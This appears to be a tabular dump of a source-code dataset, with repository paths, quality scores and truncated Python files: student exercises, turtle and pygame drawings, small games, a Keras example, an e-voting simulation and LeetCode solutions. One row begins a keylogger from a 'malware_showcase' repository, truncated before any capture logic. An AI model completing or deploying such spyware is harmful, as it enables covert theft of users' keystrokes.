blob_id string | repo_name string | path string | length_bytes int64 | score float64 | int_score int64 | text string |
|---|---|---|---|---|---|---|
375496efd6e159baa84c83bf3ccba5368919d775 | nkuhero/pytest | /list_node.py | 512 | 3.984375 | 4 | class ListNode(object):
def __init__(self, val):
self.next = None
self.val = val
def __repr__(self):
return str(self.val)
l1, l2, l3 = ListNode(1), ListNode(2), ListNode(3)
l1.next = l2
l2.next = l3
def reverse(head):
if head is None: return None
p = head
cur = None
pr... |
664338c59425ce106e443f4654e46622895204a7 | pamonrez/malware_showcase | /spyware/keylogger.py | 1,519 | 3.5 | 4 | #!/usr/bin/env python3
""" Implementation of simple keylogger in Python.
"""
import daemon
import logging
import pyxhook
class Keylogger:
""" This class represents the code injecting malware. """
def __init__(self, name):
self._name = name
@property
def name(self):
""" Name of the ... |
1754df0bfbc2720e66218ca75173b27d8cdd0f23 | rafaelschreiber/TCPChat2 | /Server/functions.py | 1,428 | 3.6875 | 4 | def cliInterpretor(string):
keywords = []
currentWord = ''
isInWord = False
isInString = False
for char in string:
if isInString:
if char == "\"" or char == "\'":
keywords.append(currentWord)
currentWord = ''
isInString = False
... |
066cbff21b26c2c0d9951d3e36312ffb6d628287 | laharily/python | /get base number.py | 284 | 4.0625 | 4 | def get_base_number(num,base):
'''get_base_number(num,base) -> int
returns value of num as a base number in the given base'''
# you have to fill in the rest
# test cases
print(get_base_number('10011',2)) # should be 19
print(get_base_number('3202',5)) # should be 427
|
d8f694831b9615ef0119d2554693953d7176f362 | laharily/python | /turtle smiley face.py | 736 | 3.984375 | 4 | # A smiley face, by DPatrick
import turtle # Allows us to use turtles
wn = turtle.Screen() # Creates a playground for turtles
dave = turtle.Turtle() # Create a turtle, assign to dave
# draw the head
dave.circle(100)
# draw the eyes in blue
dave.penup()
dave.fillcolor('blue')
dave.goto(-50,120)
dave... |
85cac220da6737c963f926b9b3a6590ffd6d3fb9 | laharily/python | /Unscramble the Word.py | 588 | 4.15625 | 4 | import random
jumblestring = ""
lst = []
guesswords = ["puppies", "yellow", "apple" ,"python", "banana"]
tries = 0
rc = random.choice(guesswords)
for x in rc:
lst.append(x)
while lst:
r = random.randrange(0,len(lst))
jumblestring += lst[r]
lst.remove(lst[r])
print(jumblestring)
print("Unscramble t... |
8ce5904b85face3a85b2ae2e4f1fa523441bab3a | laharily/python | /Just The Right Number.py | 193 | 4.03125 | 4 | money = int (input("Enter a number: "))
if (money >= 100 and money <= 500) or (money >= 1000 and money <= 5000):
print ("It is in the range.")
else:
print ("It is not in the range.")
|
9a32085aa0b70215689c816407d72465067075bc | laharily/python | /Chomp.py | 2,727 | 4.21875 | 4 | import turtle
class Cookie(turtle.Turtle):
'''represents a Chomp cookie'''
def __init__(self,x,y,poison):
'''Cookie(x,y,poison) -> Cookie
creates a Cookie at (x,y)
poison cookie if poison is True, regular otherwise'''
# initialize a new turtle
turtle.Turtle.__init__(sel... |
06dad653caefccc630257d5a5df84b174d70256e | laharily/python | /Make Acronym.py | 241 | 4 | 4 | def make_acronym(string):
'''string --> str
returns an acronym of string'''
acronym = ''
string = string.split()
for x in string:
acronym += x[0]
return acronym
print(make_acronym("Art of Problem Solving"))
|
f147a75f54ece382eb9aa5fe3b642b59f0c637b6 | laharily/python | /Taxicab Number.py | 664 | 3.6875 | 4 | def taxicab(num):
firstx = 0
firsty = 0
foundfirst = False
foundsecond = False
for x in range(1,23):
for y in range(1,23):
if x**3 + y**3 == num:
if foundfirst == False:
foundfirst = True
firstx = x
first... |
9bb3201a344c3eed1a6c08e0add58f4cd0c359cb | laharily/python | /File Proccessing Using A List.py | 361 | 3.828125 | 4 | # The open function takes in two parameters: the name of the file, and the mode
# of opening. "r" means open in read mode and "w" means open in write mode
file1 = open("hobbies.txt", "r")
# The contents of a file can be read into a list line by line.
for line in file1:
list1 = line.split()
print (list1)
# All... |
ae2a850965a99f026ddc5d80ea398eb2bcb7c7d5 | laharily/python | /Square Pattern.py | 375 | 3.859375 | 4 | import turtle
def drawSquare(t, size):
for x in range(10):
for x in range(4):
t.forward(size)
t.right(90)
t.penup()
t.backward(10)
t.left(90)
t.forward(10)
t.pendown()
t.right(90)
size += 20
wn = turtle.Screen... |
5d0a64b5d70b8a8197513aad3026a613aaa33dbb | laharily/python | /Dorothy Replace.py | 717 | 4 | 4 | def replace_word(filename,oldWord,newWord):
'''replace_word(filename,word) -> None
Prints text in filename, replaces oldWord with newWord'''
inputFile = open(filename,"r")
for line in inputFile:
line = line.replace(oldWord,newWord)
print(line, end='')
inputFile.close()
# test
replac... |
29a7dc05a82c80337b0a35bd59a83e04c2a5eab5 | laharily/python | /Random Walk.py | 304 | 3.6875 | 4 | import random
import turtle
wn = turtle.Screen()
def random_walk(t,steps):
for x in range(steps):
r = random.randint(1,50)
r2 = random.randint(10,180)
t.forward(r)
t.left(r2)
x += 1
t.hideturtle()
random_walk(turtle.Turtle(), 50)
wn.mainloop()
|
9759b258d4317450705b0e61ac084fbe061caef7 | laharily/python | /Relational Operators.py | 307 | 4.125 | 4 | # Relational operators are also called conditional operators and allow you to
# write boolean expressions.
x = 10
print (x > 10)
print (x >= 10)
# >, <, !=, ==, >=, <=
y = 6
# logical operators allow you to combine more than one boolean expression
# and, or, not
print (x > 5 and y > 5)
print (not y > 5)
|
93eb6dc537597e5977dd20e5e2745e3b5488fe31 | ganigavinaya/ID3 | /binaryTree.py | 4,739 | 3.765625 | 4 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Feb 11 23:41:56 2017
@author: vinaya
"""
class Node:
def __init__(self, val, nc,class0,class1):
self.l = None
self.r = None
self.v = val
self.class0 = class0
self.class1 = class1
self.nc = nc
class ... |
176883246db1b2050e022345cd5e8762c86f6291 | zyg11/5-classes | /simple_dnn.py | 748 | 4 | 4 | #案例一:简单的单层-全连接网络
from keras.models import Model
from keras.layers import Dense,Input
inputs=Input(shape=(784,))
# a layer instance is callable on a tensor, and returns a tensor
x=Dense(64,activation='relu')(inputs)
# 输入inputs,输出x
# (inputs)代表输入
predictions=Dense(10,activation='softmax')(x)
# 输入x,输出分类
# This creates a... |
1ed9836d45eab156abdd0bb936e1f766c7dce2f0 | JeinerMendozaC/PROGRAMACION-II | /H.-PROGRAMA 2 CON LISTAS, TUPLAS Y SETS.py | 3,305 | 3.859375 | 4 | L=[1200,1300,1400,1500,1700,1800,2400,2500,2550,3000,3550,4000,4500,5000] #OPERACION 1 CREACION DE LISTA
SET={"10%","20%","30%","40%"}#OPERACION 2 CREACION DE SET
TUPLA=("COSINA","LAVADORA","REFRIGERADORA","LICUADORA","PLANCHA","TELEVISOR","MICROONDAS","SONIDO","BATIDORA") #OPERACION 3 CREACION DE TUPLA
print("#####... |
6924ccbd40dac988d10385217630d0b75082f0a5 | ShadmanA/LandscapeDrawing | /ShadmanMountain.py | 6,098 | 3.9375 | 4 | # https://www.pygame.org/docs/ref/draw.html
# Import a library of functions called 'pygame'
import pygame
from math import pi
# Initialize the game engine
pygame.init()
# Define the colors we will use in RGB format
BLACK = ( 0, 0, 0)
BROWN = ( 86, 40, 13)
DARKBROWN = (45, 22, 1)
LIGHTBROWN = (96, 53, 15)
WHIT... |
7113964e224b3e6422743a17ad97e2fc239f6bfb | lwaddle/udacity-rock-paper-scissors | /reflect_player.py | 722 | 3.765625 | 4 | from player import Player
from random import choice
class ReflectPlayer(Player):
"""
Subclass of Player that remembers what move the opponent played
last round, and plays that move this round. (In other words, if
you play 'paper' on the first round, a ReflectPlayer will
play 'paper' on the second ... |
bf64e61eb91b2550d5c9d97d6229d85120d7e961 | Shiesu/ProjectEuler | /ProjectEuler1.py | 476 | 3.59375 | 4 | # -*- coding: utf-8 -*-
"""
Created on Wed Sep 07 15:21:13 2016
Project Euler #1, one line computation
@author: Jan Henrik Wiik
"""
import time
start_time = time.clock()
#-----------------------------------------------------------------------------
output = sum([m for m in range(1000) if (m % 3 == 0 or m % 5 == 0)])... |
f465790430b0021184eb03025aecb671451c7d92 | Shiesu/ProjectEuler | /ProjectEuler4.py | 769 | 3.8125 | 4 | # -*- coding: utf-8 -*-
"""
Created on Wed Sep 07 16:19:22 2016
Porject Euler #4
Time complexity: For product of two numbers under N, O(N^2).
@author: Jan Henrik Wiik
"""
import time
from math import *
start_time = time.clock()
#-----------------------------------------------------------------------------
lst= []
f... |
37133379aaa149cc55fd8c70f418258f1ef97dc7 | Mohamed-ElhajAbdou/Swarm-based-solar-power-for-minesweepers-compitions | /Data/image_processing/important/test_iner.py | 3,366 | 4.125 | 4 | from math import sqrt
import numpy as np
# import math
#
# #this loop will compute the factorial stored in variable fact
# array = [(20,10), (3,4), (5,6), (1.2,7)]
# sortList = []
# count = 0
# tempList = []
# placeholder = []
# #Compute the Equation of Minimum Value
# for x,y in array:
# tempList.appen... |
3f3e3b3dba8fe8b13c26095c2542845cb6a754ae | Mohamed-ElhajAbdou/Swarm-based-solar-power-for-minesweepers-compitions | /Data/image_processing/important/nnnn.py | 865 | 3.703125 | 4 | import math
array = [(20,10), (3,4), (5,6), (1.2,7)]
sortList = []
count = 0
tempList = []
placeholder = []
#Compute the Equation of Minimum Value
for x,y in array:
tempList.append(math.sqrt((x**2) + (y**2)))
tempList.append(array[count])
sortList.append(tempList)
tempList = []
count += ... |
066400dc0a5701a4a65471e003ce98fde92efb98 | alisa6521/python20_c109156204 | /13.py | 101 | 3.671875 | 4 | a=input("輸入一字元為:")
b=a
a1=a[::-1]
if a1==a:
print("YES")
else:
print("NO")
|
9f44667d74d37937bb977a8700ee29a1073d4f56 | JoeHoHo1/UO-Code-Examples | /Computer & Network Security/SEV/Registrar.py | 1,422 | 3.5625 | 4 | """
Simulation of registrar
"""
# install cryptography
from cryptography.hazmat.primitives.asymmetric import rsa
import hashlib
import random
# check to see if a voter has the right to vote
# (currently no check, so randomly assign)
def is_valid_voter(voter_id):
return bool(random.getrandbits(1))
# check database... |
4c3125e9ff796f40a2249d3a5b4af686594a0b97 | JoeHoHo1/UO-Code-Examples | /Computer & Network Security/SEV/VoterDB.py | 813 | 3.59375 | 4 | # keeps track of all the voter IDs and public keys in use
class VoterDB(dict):
def __init__(self, voter_ids=[], public_keys=[]):
self.voter_ids = voter_ids
self.public_keys = public_keys
# adds a hashed voter ID and public key to database
def add_entry(self, voter_id, public_key):
s... |
20b90c3d1499ba13c0fbcd6290b641852a77747a | halcyoona/presentation | /design-pattern/Facory.py | 495 | 3.515625 | 4 |
# coding: utf-8
# In[3]:
class Dog:
def __init__(self , name):
self.name = name
def speak(self):
return "barks"
class Cat:
def __init__(self , name):
self.name = name
def speak(self):
return "Meoow"
def get_pet(pet = "dog"):
pets = dict (dog = Dog('h... |
d34117793f5ca0e4ddcca7a4bcfc8ee7645324c6 | pgobrien/Data-Structures-Python | /CrackingTheCodingInterview/CTCIChapter1.py | 6,247 | 3.828125 | 4 | # Questions from Cracking the coding interview Arrays and Strings Chapter
import random
def generate_matrix(rows, cols):
return [[random.randint(0, 5) for x in range(cols)] for y in range(rows)]
def is_unique(a_string):
# with a data structure
# O(len(a_string)) is O(n)
counts = {}
for c in a_str... |
f2f5dea1b1762b0684e922b4117bf5b2cc199870 | pgobrien/Data-Structures-Python | /DataStructures/DynamicList.py | 984 | 3.890625 | 4 | import ctypes
class DynamicList:
'''
Dynamic List
Dynamically Changes Sizes
'''
def __init__(self):
"""
"""
self.size = 0
self.capacity = 1
self.internal_array = self.make_array(self.capacity)
def __len__(self):
return self.size
def __get... |
572fc7520056ca3e94e8ca5cf1f7072a1d600200 | DanThrane/DM818-Mandatory-Assignment-2 | /grid.py | 114 | 3.6875 | 4 | #!/usr/bin/python
for x in range(0, 71):
for y in range(0, 71):
print format(y + x * 71, '04'),
print ""
|
a6c5ad18e59aa997bc0ef8c6a9731946228297c5 | shivamkmr335/Competitive-Coding | /Python language/cases_of_zeroes_and_ones_556_A.py | 322 | 3.734375 | 4 | size=int(input())
a=list(input())
print(a,size,"/*-+*/")
for i in range(0,size-1):
if (a[i]=='1' and a[i+1]=='0') or (a[i]=='0' and a[i+1]=='1'):
a.pop(i)
a.pop(i)
i=i-1
size=size-2
print(a,size)
else:
print("blank",size)
print('***',i,"***")
... |
5b66e41cdc4e3e35302af5208ec9dd53acdd5699 | shivamkmr335/Competitive-Coding | /Python language/mast.py | 392 | 3.65625 | 4 | a=int(input(""))
b=int(input(""))
for l in range(0,a):
print(" ",end="")
print("*")
for i in range(1,a):
for j in range(1,a-i):
print(" ",end="")
if (1+i)==b:
for g in range(0,(2*b)+1):
print("*",end="")
print("")
else:
print("*",end="")
for k in range... |
0bdbcee6f662f6959618b7b07d2902f119097730 | CharlotteCarbaugh/CarbaughCIS2348 | /Homework_2/date_converter.py | 931 | 3.765625 | 4 | #Carbaugh, Student ID 1815532
import datetime
file_name = input()
file = open(file_name)
content = file.readlines()
file.close()
new_date = ''
formated_dates = []
temp_date = []
new_date = ""
date_list = []
for date in content[0:-1]:
new_date = date[0:-1]
formated_dates.append(new_date)
... |
ac642d51b008719d05fca2c9b58d1fc69c25dd2d | Bernat2001/Simple-Calculator-Pyhton | /Repasolista3.py | 325 | 3.96875 | 4 | Asignaturas=["Matematicas", "Fisica", "Quimica", "Historia", "Lengua"]
scores= []
for Asignatura in Asignaturas:
score = input("¿Que nota has sacado en " + Asignatura +"?")
scores.append(score)
for i in range(len(Asignaturas)):
print("En " + Asignaturas[i] + scores[i])
break
... |
f6ec686e446daee34c4a4bf1333108d7b7dcee87 | Bernat2001/Simple-Calculator-Pyhton | /Ejercicio1.py | 248 | 4.09375 | 4 | num1=int(input("Dime num1: "))
num2=int(input("Dime num2: "))
def DevuelveMax(n1, n2):
if n1 < n2:
print(n2)
elif n2 < n1:
print(n1)
else:
print("Son iguales")
DevuelveMax(num1, num2)
|
517b1d325a0c3ac7ca3180bc83313946cc03c153 | Bernat2001/Simple-Calculator-Pyhton | /repasooperadoreslogicos2.py | 111 | 3.78125 | 4 | cadena= str(input("Introduce frase: "))
if len(cadena) <=3<10:
print("True")
else:
print("False") |
9475c8b1505b3cb34fa25d0641ead119f6c9ceca | Ujjwalkashyap24/ukwebsite | /chap6.py | 330 | 3.796875 | 4 | num1 = input("enter the number1:\n")
num2 = input("enter the number2:\n")
num3 = input("enter the number3:\n")
num4 = input("enter the number4:\n")
if(num1>num4):
f1 = num1
else:
f1=num4
if(num2>num3):
f2 = num2
else:
f2 = num3
if(f1>f2):
print(f1 + "is gretest")
else:
print(f2 + "is gret... |
3871849f7458dfc6f187fb35e4c7de39c42fb6a5 | Ujjwalkashyap24/ukwebsite | /question1.py | 131 | 3.84375 | 4 | name = input("enter your name:\n")
print(name + "good morning")
#welcome = "good morning"
#total =(name + welcome)
#print(total) |
f4d75b746bb34f2dcee88add0ef6ed482f7f4527 | Ujjwalkashyap24/ukwebsite | /favlanguage.py | 301 | 3.578125 | 4 | lang = {}
a = input("enter your favorite language rahul:\n")
b = input("enter your favorite language ajay:\n")
c = input("enter your favorite language nitesh:\n")
d = input("enter your favorite language stayjit:\n")
lang['rahul'] =a
lang['ajay'] = b
lang['nitesh'] = c
lang['stajit'] = d
print(lang) |
f3a79658a90f8905132306de6e3374ee5f931550 | Riteshbaranwal01/school | /ncert/probman/codes/uniform/rect.py | 2,132 | 3.703125 | 4 | #Code released under GNU/GPL
#Potukuchi Siddhartha
#June 19,2020
#Revised by
#GVV Sharma
#June 19, 2020
#Generating points uniformly within a rectangle
#Finding the probability of those points lying inside a circle
from itertools import product
import matplotlib.pyplot as plt
import math
import numpy as np
#if usi... |
0d7a399478b799bb0f90c3a9f997e035c0d23fca | mtc0113/speaker_count | /unsupervised_speaker_count.py | 20,079 | 3.546875 | 4 | # -*- coding: utf-8 -*-
"""
Script to find the number of different speakers
identifiable in the set of audio clips found
in an input speech folder
Created on Sun May 30 01:04:57 2021
@author: Partha Sarathi Paul
@Organization: IIT Kharagpur, India
"""
import os
import sys
import numpy as np
import lib... |
5ff15070259cd32bc2dfc5e31449321b54fe593a | klaus0904/exercise | /python/barcket match/backet_match.py | 545 | 3.640625 | 4 |
def is_match( str ) :
stack = []
bracket_map = { '{' : '}' , '(' : ')' , '[' : ']' }
right_bracket = "}])"
for char in str:
if char in bracket_map :
stack.append(char)
continue
if char in right_bracket :
if ( 0 == len(stack) or char != bra... |
daa8e11d88775d2c145fd4648173394d5d15bf2b | klaus0904/exercise | /python/homework/Fibonacci.py | 415 | 4.09375 | 4 |
def fibonacci(num) :
pre = 1;
pre_of_pre = 0;
current = 0;
sum = pre + pre_of_pre;
for i in range(2, num) :
#print pre
#print pre_of_pre
current = pre + pre_of_pre
#print current
print "\n"
sum += current
pre_of_pre = pre
pre = current... |
b9028620c18195f9fe733bd370d4f2b8312e9784 | schatzkara/Recombination-Rates | /Model_and_Simulations/OLD/mutation_sim.py | 7,306 | 3.796875 | 4 | #! python3
# script to simulate DNA sequences mutating and detect the number of convergent mutations between them
import random
import numpy as np
# this sim starts with all As
# assumes equal probabilities of C,T,G, forces a mutation, and does not allow for multiple mutations in one site
# params:
# n (int) = num... |
c09eddf9468ae183402ad69cc1273efbb76054de | wenbinDong/dong | /work/python_pycharm/lesson3_demo/demo5_string_function.py | 1,077 | 4.09375 | 4 | '''
字符串常用内置方法
'''
#find
line="hello world hello python"
#hello 第一次出现的脚标
# print(line.find("hello"))
#指定查找的起始脚标
# print(line.find("hello",6))
#不存在的子字符串返回-1
# print(line.find("java"))
#cound
# print(line.count("hello"))
# print(line.count("python"))
#replace
# new_line = line.replace("hello","hi",1)
# print(new_line)
# n... |
04e5902b16fb3ccf5952907fc705451cc57b220f | wenbinDong/dong | /work/python_pycharm/lesson1/demo2_varivable.py | 324 | 3.875 | 4 | '''
变量
知识点:
1.变量的定义
2.变量赋值
'''
#打印个人信息
name = "zhangsan" #名字
#name2 = 'lisi'
high = 180 #身高
# weight = 80 #体重
# age = 20 #年龄
# print(name)
# print(high)
# print(weight)
# print(age)
# weight = weight + 5
# print(weight)
print(type(name))
print(type(high)) |
3d362841ee00b47d551a954b07dc02ecaa7ca377 | wenbinDong/dong | /work/python_pycharm/lesson4_demo/demo1_function.py | 4,740 | 3.703125 | 4 | '''
函数使用
'''
'''
#局部变量
# def set_name():
# name = "zhangsan"
# return name
# #如何让一个函数使用另一个函数的局部变量
# def get_name(name):
# # name ="liosi"
# print(name)
#
# nm=set_name()
# get_name(nm)
'''
'''
#全局变量
# name="zhangsan"
# def get_name():
# print(name)
# def get_name2():
# print(name)
#
# get_... |
61528562d66188341102b00c2bebd33eccb1d6e0 | liamthanrahan/lunchtime-python | /2019/session-3/problem6.py | 164 | 3.6875 | 4 | def square(num):
return num * num
def square_map(a_list):
squared_list = list(map(square, a_list))
return squared_list
print(square_map([1, 2, 3]))
|
b561c5844deca2e15f9374654dc3558371d3d2a1 | liamthanrahan/lunchtime-python | /2017/session-4/totaldebt.py | 389 | 3.609375 | 4 | import csv
def total_debt(file_path):
total = 0
with open(file_path, 'rU') as csvfile:
csvData = csv.DictReader(csvfile)
for row in csvData:
job_number = int(row['Job Number'])
debt = float(row['Debt'])
total += debt
# print(job_number, round(debt... |
fc18cf89ae0f206b9bfe51faee52aef04c7f307b | liamthanrahan/lunchtime-python | /2019/session-2/problem1.py | 341 | 3.84375 | 4 | def longer_string(string1, string2):
# you can use whatever variable names want for the arguments and return variable
# place your code here
if (len(string1) >= len(string2)):
the_longer_string = string1
else:
the_longer_string = string2
return the_longer_string
# print(longer_stri... |
f5f972837418f99b16cc0d9c470c740b2138e6a7 | liamthanrahan/lunchtime-python | /2017/session-3/problem1.py | 587 | 3.796875 | 4 | def list_length(a_list):
return len(a_list)
def list_sum(a_list):
return sum(a_list)
def list_max(a_list):
return max(a_list)
def list_min(a_list):
# min = a_list[0]
# for i in a_list[1:]:
# if min > i:
# min = i
return min(a_list)
def list_mean(a_list):
return sum(a_... |
f44e1042b819fd1ea57c2713c76e0564801b9adc | jaramosperez/Pythonizando | /Ejercicios con Excepciones/Ejercicio 01.py | 403 | 3.734375 | 4 | # Ejercicio 1
# Localiza el error en el siguiente bloque de código.
# Crea una excepción para evitar que el programa se bloquee y además explica en un mensaje al usuario la causa y/o solución:
# resultado = 10/0
try:
print(resultado = 10 / 0)
except ZeroDivisionError:
print("no se puede didivir por 0, intenta ... |
efe4fb8e9e6794c6ac988c3de55e6104f1cecbdf | jaramosperez/Pythonizando | /Ejercicios con Modulos y paquetes/diccionariosadv.py | 1,080 | 3.96875 | 4 |
# No es necesario que todos los elementos de un diccionario sean del mismo tipo
# Cuando creamos un diccionario y le vamos pasando valores para llenarlo
# al mostrar el contenido del diccionario se muestra en un orden aleatoreo.
from collections import OrderedDict, namedtuple
n = OrderedDict()
n['uno'] = 'one'
n['dos... |
86f59d3feb22636e42e4269de3dff536fdd1d1ad | jaramosperez/Pythonizando | /Ejercicios/merge_diccionarios.py | 248 | 3.5 | 4 | # Como importar diccionarios en Python 3.5+
diccionario_x = {'nombre': 'Javier', 'Edad': 34, 'Ciudad': 'Santiago'}
diccionario_y = {'nombre': 'Claudia', 'Edad': 29}
merge_diccionarios = {**diccionario_x, **diccionario_y}
print(merge_diccionarios)
|
939a7628aa37cf08244095c1be4859630fdfe962 | jaramosperez/Pythonizando | /Conceptos/slicing.py | 1,364 | 4.34375 | 4 | # SLICING
# EXTRAER TROZOS DE TEXTOS DE CADENAS
# UNA CADENA DE CARACTERES EN PYTHON ES INMUTABLE
# POR LO QUE NO SE PUEDE SUSTITUIR NINGUN DE SUS CARACTERES INDIVIDUALMENTE.
palabra = 'Python'
print(palabra[0:2])
# COMO FUNCIONA: EL PRIMER INDICE LE DICE DESDE DONDE COMIENZA Y EL SIGUIENTE CUANTOS MOSTRARA DESDE CON... |
c665d47544c476a14eb58796b98ac4ee9a781334 | jaramosperez/Pythonizando | /Conceptos/herencia_multiple.py | 358 | 3.59375 | 4 | class A:
def __init__(self):
print("Soy de clase A")
def a(self):
print("Este método lo heredo de A")
class B:
def __init__(self):
print("Soy de clase B")
def b(self):
print("Este método lo heredo de B")
class C(B, A):
def c(self):
print("Este método es ... |
b702ff30c1622684bc9dd63ccd5fc41275a4945a | jaramosperez/Pythonizando | /Ejercicios con Funciones/Ejercicio 04.py | 374 | 3.6875 | 4 | # Ejercicio 4
# Realiza una función llamada intermedio(a, b) que a partir de dos números, devuelva su punto intermedio.
# Cuando lo tengas comprueba el punto intermedio entre -12 y 24:
#
# Recordatorio
#
# El número intermedio de dos números corresponde a la suma de los dos números dividida entre 2
def intermedio(a,b)... |
b83967754add67776736054e615de08e809f2726 | jaramosperez/Pythonizando | /Ejercicios con Modulos y paquetes/modulo_random.py | 376 | 3.609375 | 4 | import random
print(random.random())
print(random.uniform(1, 10)) # >= 1 y <10.0
print(random.randrange(10)) # >= 0 y <10.0
print(random.randrange(0, 101))
print(random.randrange(0, 101, 2))
c = "Hola mundo"
print(random.choice(c))
l = [1, 2, 3, 4, 5]
print(random.choice(l))
print(l)
random.shuffle(l)
print... |
7873c04f71e2ba1bf5ecba1c5a0487643c153625 | jaramosperez/Pythonizando | /Ejercicios/par_o_impar.py | 153 | 3.828125 | 4 | n = 1
while n < 10:
if(n % 2) == 0:
print('El número ', n, ' es par')
else:
print('El número ', n, ' es impar')
n = n + 1
|
727e42f8cebce6d10b73a04e885d32c31bd1627f | jaramosperez/Pythonizando | /Conceptos/funciones_integradas.py | 658 | 4.0625 | 4 | n = '10.5'
print(n)
float(n)
print(n)
cadena = "Un numero podría ser " + str(10) + ' y un decimal podria ser ' + str(12.4)
print(cadena)
# CONVERSION DE UN NUMERO A BINARIO
print(bin(10))
# CONVERSION DE UN NUMERO A HEXADECIMAL
print(hex(13))
#CONVERSION DE UNA CADENA A BINARIO
print(int('0b1010', 2))
#CONVERSION DE... |
9d4687c9bff9c18a680671563226b52e2929ea88 | jaramosperez/Pythonizando | /Ejercicios Controles de Flujo/Ejercicio 04.py | 618 | 4.21875 | 4 | # Ejercicio 4
# Realiza un programa que pida al usuario cuantos números quiere introducir.
# Luego lee todos los números y realiza una media aritmética.
indice = 0
suma = 0
media = 0
numeros = int(input('Ingrese la canitdad de numero que desea Ingresar: '))
while numeros > indice:
numero = int(input('Ingrese un nu... |
b0700e72007b81ade8986a41bf825cff5077fe5b | jaramosperez/Pythonizando | /Ejercicios con Modulos y paquetes/ejercicio 03.py | 1,841 | 3.9375 | 4 | # Ejercicio 3
# Crea un script llamado generador.py que cumpla las siguientes necesidades:
#
# Debe incluir una función llamada leer_numero().
# Esta función tomará 3 valores: ini, fin y mensaje.
# El objetivo es leer por pantalla un número >= que ini y <= que fin.
# Además a la hora de hacer la lectura se mostrará en ... |
6d851075d98b01e38428d74f3471f209aad1bf5b | jaramosperez/Pythonizando | /Ejercicios Colecciones de datos/Ejercicio 01.py | 1,138 | 4.28125 | 4 | # Ejercicio 1
# Realiza un programa que siga las siguientes instrucciones:
#
# Crea un conjunto llamado usuarios con los usuarios Marta, David, Elvira, Juan y Marcos
# Crea un conjunto llamado administradores con los administradores Juan y Marta.
# Borra al administrador Juan del conjunto de administradores.
# Añade a ... |
c203d55ff94404a2e0951bd8fe2d04700a58f64a | jaramosperez/Pythonizando | /Ejercicios Entrada y Salida de Datos/Ejercicio 01.py | 693 | 4.25 | 4 | # Ejercicio 1
# Formatea los siguientes valores para mostrar el resultado indicado:
#
# "Hola Mundo" → Alineado a la derecha en 20 caracteres
# "Hola Mundo" → Truncamiento en el cuarto carácter (índice 3)
# "Hola Mundo" → Alineamiento al centro en 20 caracteres con truncamiento en el segundo carácter (índice 1)
# 150 →... |
6009bde2e053aed119809eef2cf0445b850f88ef | b2connected/Python | /function/default.py | 270 | 3.515625 | 4 | def print_something_2(my_name, your_name="be"):
print("Hello {0}, My name is {1}".format(your_name, my_name))
print_something_2("aj", "be2") #이렇게 하면 덮어씌워진당
print_something_2("aj") # 디폴트값이 있어서 하나만 줘도 오류 안남 |
e265980d991952c51f9b1533e860ad863961ab57 | ike-repo/python | /11_factorial.py | 108 | 3.5 | 4 | def my_fact(n):
fact = 1
for i in range(1, n+1):
fact *= i
return fact
print(my_fact(5)) |
6a17780b791141a03c2898a3d9bddb81c4f04930 | ike-repo/python | /filterAList.py | 196 | 3.90625 | 4 | # Write a Python program to filter a list of integers using Lambda.
evens = tuple(filter(lambda x: x % 2 == 0, range(1,11)))
odds = set(filter(lambda x: x % 2 != 0, nums))
print(evens)
print(odds) |
c98370f396ff89b390e395d88246903786fda5f5 | FilipHesse/exp_assignment3_pkg | /scripts/room_info.py | 2,942 | 3.765625 | 4 | """Python file containing all knowledge about a room in the scenario
This Python file does not have a main, it simply defines a variable
"info", that is a list of all rooms with their positions (if known)
and colors. It will only be included by one node: behavior_state_machine
All this code could actually be written i... |
21ac0b2d93b30a1d32aa15b0bc40f77821939faa | elack33/Google-FooBar | /Name That Rabbit/name_that_rabbit.py | 2,203 | 4.21875 | 4 | """
You realize that if you assign the value 1 to the letter A, 2 to B, and so on up to 26 for Z,
and add up the values for all of the letters, the names with the highest total values will be
the professor's favorites. For example, the name Annie has value 1 + 14 + 14 + 9 + 5 = 43,
while the name Earz, though shorter, ... |
b103f2967594892af48ee47202e834a0a41ca2b4 | mharty3/streamlit_demos | /getting_started_tutorial.py | 1,924 | 4.21875 | 4 | # This is the "Getting Started" tutotial for streamlit
# https://streamlit.io/docs/getting_started.html
"()"
import streamlit as st
import numpy as np
import pandas as pd
import time
st.title('My First App')
# Write a DataFrame
st.write("First attempt at writing a dataframe")
st.write(pd.DataFrame({
'first_colu... |
e6349d05b5d0a72f3a6e892fdf358155a69dafd0 | microshy/huawei | /utility.py | 3,551 | 3.640625 | 4 |
a=1
b=a
a=a+1
print(b)
print(a)
''' io功能测试
data_list = [[1001, 1, 501, 502, 503, 516, 506, 505, 518, 508, 509, 524],
[1002, 1, 513, 504, 518, 508, 509, 524],
[1003, 1, 513, 517, 507, 508, 509, 524],
[1004, 1, 501, 502, 515, 519, 509, 524],
[1005, 1, 501, 514, 504, 51... |
4d86199200163c79851893e698262de49709bccb | bowmang19/leetcode | /1662. Check If Two String Arrays are Equivalent/solution.py | 348 | 3.5 | 4 | class Solution:
def arrayStringsAreEqual(self, word1: List[str], word2: List[str]) -> bool:
completeWord1 = ''
completeWord2 = ''
for i in word1:
completeWord1 += i
for i in word2:
completeWord2 += i
if completeWord1 == completeWord2:
retur... |
7346edbb8d42bafedc6f9cb422502b67a2a9f93a | bowmang19/leetcode | /7. Reverse Integer/solution.py | 508 | 3.515625 | 4 | class Solution:
def reverse(self, x: int) -> int:
solution = 0
if x < 0:
negative = True
x = x * -1
else:
negative = False
while x > 0:
remainder = x % 10
solution = (solution * 10) + remainder
x = x // 10
... |
6f1d027c3ad76d01e120535a17ab4f85f16dce59 | WilliamGanrot/AoC-2020 | /05/solution.py | 699 | 3.53125 | 4 | tickets = []
with open('input') as f:
tickets = f.read().splitlines()
def getTicketId(ticket):
binaryRow = ticket[0:7].replace('F','0'). replace('B','1')
binaryCol = ticket[7:10].replace('R','1'). replace('L','0')
row = int(binaryRow, 2)
col = int(binaryCol, 2)
return (row*8)+col
def part2... |
2063891af03e5cba369f87e199f3e3918f320b8b | Carlos-Blanco/Rock-Paper-Scissors-Lizard-Spock | /rockpaperscissors.py | 2,653 | 4.1875 | 4 | #0 - rock
#1 - Spock
#2 - paper
#3 - lizard
#4 - scissors
#Mini-project development process
#Build a helper function name_to_number(name) that converts the string name into a number between 0 and 4 as described above. This function should use an if/elif/else with 5 cases. You can use conditions of the form name == 'p... |
2f3381b6f4ca8a58db4c1c8691e2998b84d870e1 | GitJillian/leet-solutions | /python/leet1_add_two_sums.py | 484 | 3.53125 | 4 | #Leetcode link: https://leetcode.com/problems/two-sum/
#Written 2020/10/25
